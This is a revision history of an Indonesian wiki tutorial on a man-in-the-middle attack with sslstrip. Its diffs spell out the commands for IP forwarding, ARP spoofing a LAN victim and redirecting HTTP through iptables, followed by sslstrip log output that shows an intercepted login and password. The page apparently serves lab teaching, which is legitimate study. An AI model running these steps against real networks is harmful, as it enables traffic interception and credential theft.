MITM: sslstrip - Revision history

Onnowpurbo: /* sslstrip */

2018-10-03T02:23:00Z

sslstrip

← Older revision		Revision as of 02:23, 3 October 2018
Line 59:		Line 59:
	==sslstrip==		==sslstrip==

	Jalankan sslstrip agar listen pada port ~~10000 (default sslstrip)~~		Jalankan sslstrip agar listen pada port 8080

	cd ~		cd ~

2018-10-03T02:22:41Z

redirect packet

← Older revision		Revision as of 02:22, 3 October 2018
Line 53:		Line 53:
	iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080		iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
	iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080		iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080


			Untuk redirect HTTPS (port 443) kayanya masih bermasalah baik untuk sslstrip maupun mitmproxy

	==sslstrip==		==sslstrip==

2018-10-03T01:36:02Z

← Older revision		Revision as of 01:36, 3 October 2018
Line 8:		Line 8:
	route -n		route -n
	netstat -nr		netstat -nr

			==aktifkan ip forwarding==

	enable forward paket,		enable forward paket,
Line 13:		Line 15:
	echo 1 > /proc/sys/net/ipv4/ip_forward		echo 1 > /proc/sys/net/ipv4/ip_forward
	sysctl -w net.ipv4.ip_forward=1		sysctl -w net.ipv4.ip_forward=1

			==arp spoofing==

	lakukan arpspoof,		lakukan arpspoof,
Line 43:		Line 47:
	Perhatikan MAC address 192.168.0.100 berubah :) ..		Perhatikan MAC address 192.168.0.100 berubah :) ..

			==redirect packet==

	redirect inbound traffic ke port 80 (http), menuju port 8080 (sslstrip).		redirect inbound traffic ke port 80 (http), menuju port 8080 (sslstrip).
Line 48:		Line 53:
	iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080		iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
	iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080		iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

			==sslstrip==

	Jalankan sslstrip agar listen pada port 10000 (default sslstrip)		Jalankan sslstrip agar listen pada port 10000 (default sslstrip)
Line 54:		Line 61:
	sslstrip -l 8080 (untuk kali linux)		sslstrip -l 8080 (untuk kali linux)
	python sslstrip.pl –l 8080 (untuk backtrack)		python sslstrip.pl –l 8080 (untuk backtrack)

			==lihat log==

	hasil penyadapan bisa dilihat di sslstrip.log, misalnya,		hasil penyadapan bisa dilihat di sslstrip.log, misalnya,

2018-10-02T04:17:55Z

← Older revision		Revision as of 04:17, 2 October 2018
Line 44:		Line 44:


	redirect inbound traffic ke port 80 (http), menuju port ~~1000~~ (sslstrip).		redirect inbound traffic ke port 80 (http), menuju port 8080 (sslstrip).

	iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080		iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

2018-10-02T04:09:55Z

← Older revision		Revision as of 04:09, 2 October 2018
Line 12:		Line 12:

	echo 1 > /proc/sys/net/ipv4/ip_forward		echo 1 > /proc/sys/net/ipv4/ip_forward
			sysctl -w net.ipv4.ip_forward=1

	lakukan arpspoof,		lakukan arpspoof,

2018-10-02T04:08:52Z

← Older revision		Revision as of 04:08, 2 October 2018
Line 11:		Line 11:
	enable forward paket,		enable forward paket,

	echo ~~“1”~~ > /proc/sys/net/ipv4/ip_forward		echo 1 > /proc/sys/net/ipv4/ip_forward

	lakukan arpspoof,		lakukan arpspoof,
Line 46:		Line 46:

	iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080		iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
	iptables -t nat -A PREROUTING -p tcp ~~–destination~~-port 80 -j REDIRECT --to-port 8080		iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

	Jalankan sslstrip agar listen pada port 10000 (default sslstrip)		Jalankan sslstrip agar listen pada port 10000 (default sslstrip)

2018-10-02T04:05:56Z

← Older revision		Revision as of 04:05, 2 October 2018
Line 45:		Line 45:
	redirect inbound traffic ke port 80 (http), menuju port 1000 (sslstrip).		redirect inbound traffic ke port 80 (http), menuju port 1000 (sslstrip).

	iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port ~~10000~~		iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
			iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT --to-port 8080

	Jalankan sslstrip agar listen pada port 10000 (default sslstrip)		Jalankan sslstrip agar listen pada port 10000 (default sslstrip)

	cd ~		cd ~
	sslstrip -l ~~10000~~ (untuk kali linux)		sslstrip -l 8080 (untuk kali linux)
	python sslstrip.pl –l ~~10000~~ (untuk backtrack)		python sslstrip.pl –l 8080 (untuk backtrack)

	hasil penyadapan bisa dilihat di sslstrip.log, misalnya,		hasil penyadapan bisa dilihat di sslstrip.log, misalnya,

2017-04-04T20:55:25Z

← Older revision		Revision as of 20:55, 4 April 2017
Line 61:		Line 61:
	2017-04-04 17:07:16,065 POST Data (192.168.0.100):		2017-04-04 17:07:16,065 POST Data (192.168.0.100):
	login_username=onno&secretkey=123456&js_autodetect_results=1&just_logged_in=1		login_username=onno&secretkey=123456&js_autodetect_results=1&just_logged_in=1


			==Crashing==

	Entah kenapa sslstrip ini suka crash :( ...		Entah kenapa sslstrip ini suka crash :( ...

			Solusinya, coba tambahkan > /dev/null

			sslstrip -k -f -l 10000 2> /dev/null

2017-04-04T20:51:47Z

← Older revision		Revision as of 20:51, 4 April 2017
Line 62:		Line 62:
	login_username=onno&secretkey=123456&js_autodetect_results=1&just_logged_in=1		login_username=onno&secretkey=123456&js_autodetect_results=1&just_logged_in=1

			Entah kenapa sslstrip ini suka crash :( ...

2017-04-04T10:09:47Z

← Older revision		Revision as of 10:09, 4 April 2017
Line 50:		Line 50:

	cd ~		cd ~
	sslstrip -l 10000		sslstrip -l 10000 (untuk kali linux)
	python sslstrip.pl –l 10000		python sslstrip.pl –l 10000 (untuk backtrack)

	hasil penyadapan bisa dilihat di		hasil penyadapan bisa dilihat di sslstrip.log, misalnya,

	cd ~		cd ~
	tail sslstrip.log		tail sslstrip.log

	~~Misalnya~~

	more sslstrip.log		more sslstrip.log